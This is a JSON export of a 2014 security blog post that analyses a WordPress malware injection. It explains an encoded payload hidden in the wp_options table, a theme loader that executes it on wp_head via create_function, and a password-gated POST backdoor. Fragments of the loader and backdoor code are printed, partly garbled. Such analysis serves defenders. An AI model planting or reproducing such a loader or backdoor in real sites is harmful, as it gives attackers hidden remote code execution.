{"id":5643,"date":"2014-11-04T08:35:06","date_gmt":"2014-11-04T08:35:06","guid":{"rendered":"http:\/\/www.esds.co.in\/blog\/?p=5643"},"modified":"2020-01-08T07:45:54","modified_gmt":"2020-01-08T07:45:54","slug":"wordpress-injections-database-and-wp_head","status":"publish","type":"post","link":"https:\/\/www.esds.co.in\/blog\/wordpress-injections-database-and-wp_head\/","title":{"rendered":"WordPress Injections – (Database and wp_head)"},"content":{"rendered":"

\"wp-malware\"<\/a>There are several places where malware can be hidden in a web site. In WordPress, for example, can be hidden within the core files, themes, plugins, .htaccess and database. More often, the malware uses a combination thereof to hinder detection.<\/p>\n

Today we will talk about one injection in the database that we are often seeing in recent cases, that uses the wp_head () to display the malware to anyone who visits the compromised site.<\/p>\n

Injection in Database<\/strong><\/p>\n

WordPress offers multiple API calls to read and manage content from within the database. One such function is called get_Option that returns a value from the table wp_options. The table wp_options is widely used by many plugins and themes to store the data, and is usually full of entries, making it a good place to hide malicious code.<\/p>\n

If you do not believe and uses WordPress, just list the table wp_options to your site to see what we’re talking about.<\/p>\n

Here’s what we’re finding in the table wp_options, on “page_options” in some compromised sites:<\/strong><\/p>\n

s: 7546: “a: 18: {i: 0; s: 10:” 07\/11\/2013 “; i: 1; s: 1:” and “; i: 2; s: 32:” 061d57e97e504a23cc932031f712f730 “;
\ni: 3; s: 32: “07b6910226033fa5ee75721b4fc6573f”;
\ni: 4; s: 4: “val (“; i: 5; s: 32: “2a27230f54e4cea4a8ed38d66e2c0”;
\ni: 6; s: 1: “(“; i: 7; s: 6993: “‘LyogTXVuaW5uIHZlcnNpb246MSBkYXRlOjIxLj
\nVFsncGFzcyddKT09PSc2OTJlM2Y1MmVlNmYxNmJjNzhmYTZlMWVjNGJkNGE2YSc
\nVCwgRVhUUl9TS0lQKTsKCglpZighZW1wdHkoJHRob3IpKQoJCUAkdGhvcigkaGF
\ndGlvbl9leGlzdHMgKCdzdHJpcG9zJykpIHsKCWZ1bmN0aW9uIHN0cmlwb3MgKCR
\nG9mZnNldD0wKSB7CgkJcmV0dXJuIHN0cnBvcyAoc3RydG …
\n… Very long ..<\/p><\/blockquote>\n

As you can see, is a serialized PHP entry (decoded in ddecode) which at first glance does not seem so bad and really cannot do any damage on their own.<\/p>\n

Running the contents of the database<\/p>\n

The malicious code was hidden inside the database, but how can it be implemented? The attackers, in addition to injecting this content, also edited the file index.php of the theme with this code:<\/p>\n

page_options function () {$ option = get_Option (“page_option”); $ Opt = unserialize ($ option);
\n@ $ Arg = create_function (“”, $ opt [1] $ opt [4] $ opt [10] $ opt [12] $ opt [14] $ opt [7]…..);
\nreturn $ arg (”);}
\nadd_action (‘wp_head’, ‘page_options’);<\/p><\/blockquote>\n

And this is where everything comes together.<\/p>\n

This code uses the get_Option to download the content of “page_option” database: get_Option (“page_option”);
\nBecause the content is serialized, unserialize () : $ opt = unserialize ($ option);<\/p>\n

So it builds a new function called $ arg and executes based on the retrieved content. Only when this function is executed, the malware runs live: @ $ arg = create_function …<\/p>\n

The final piece of the puzzle is done by the function add_action (). It plays the role of the attacker to run on the head (start) of WordPress.<\/p>\n

The interesting thing is that with a simple code, they are able to bypass most of the security tools that look for eval, base64_decode or system calls for a sign of commitment.<\/p>\n

Backdoor + Injection<\/strong><\/p>\n

This malware, once installed on a compromised site, acts as backdoor (running the values of POST variables in Thor and Hammer):<\/strong><\/p>\n

if (@ md5 ($ _ POST [‘pass’]) === ‘692e3f52ee6f16bc78fa6e1ec4bd4a6a’) {
\nextract ($ _POST, EXTR_SKIP);
\nif (! empty ($ thor))
\nThor @ $ ($ hammer);
\n}<\/p><\/blockquote>\n

This malware also injects malicious code related to “Counter WordPress injection” in any browser visiting the site (downloaded from command and control site: httx: \/\/website.com\/page).<\/p>\n

Conclusion<\/strong><\/p>\n

You cannot rely on simple keyword search to identify the injection of malware. The attackers are evolving and using multiple tactics to hide their backdoors and malicious tools. If you need help to clean up a WordPress site, you can count on the services of eMagic Tool for Online Malware \/ Vulnerability Scanning of a Website<\/a><\/strong>.<\/p>\n","protected":false},"excerpt":{"rendered":"

There are several places where malware can be hidden in a web site. In WordPress, for example, can be hidden within the core files, themes, plugins, .htaccess and database. More often, the malware uses a combination thereof to hinder detection. Today we will talk about one injection in the database that we are often seeing… <\/p>\n

<\/div>\n

Read More<\/a><\/p>\n","protected":false},"author":5,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[7,1271,6],"tags":[656,1265,1266],"class_list":["post-5643","post","type-post","status-publish","format-standard","hentry","category-cloud-hosting","category-security-2","category-dedicated-server-hosting","tag-database","tag-wordpress-injections","tag-wp_head"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/posts\/5643","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/users\/5"}],"replies":[{"embeddable":true,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/comments?post=5643"}],"version-history":[{"count":5,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/posts\/5643\/revisions"}],"predecessor-version":[{"id":11195,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/posts\/5643\/revisions\/11195"}],"wp:attachment":[{"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/media?parent=5643"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/categories?post=5643"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.esds.co.in\/blog\/wp-json\/wp\/v2\/tags?post=5643"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}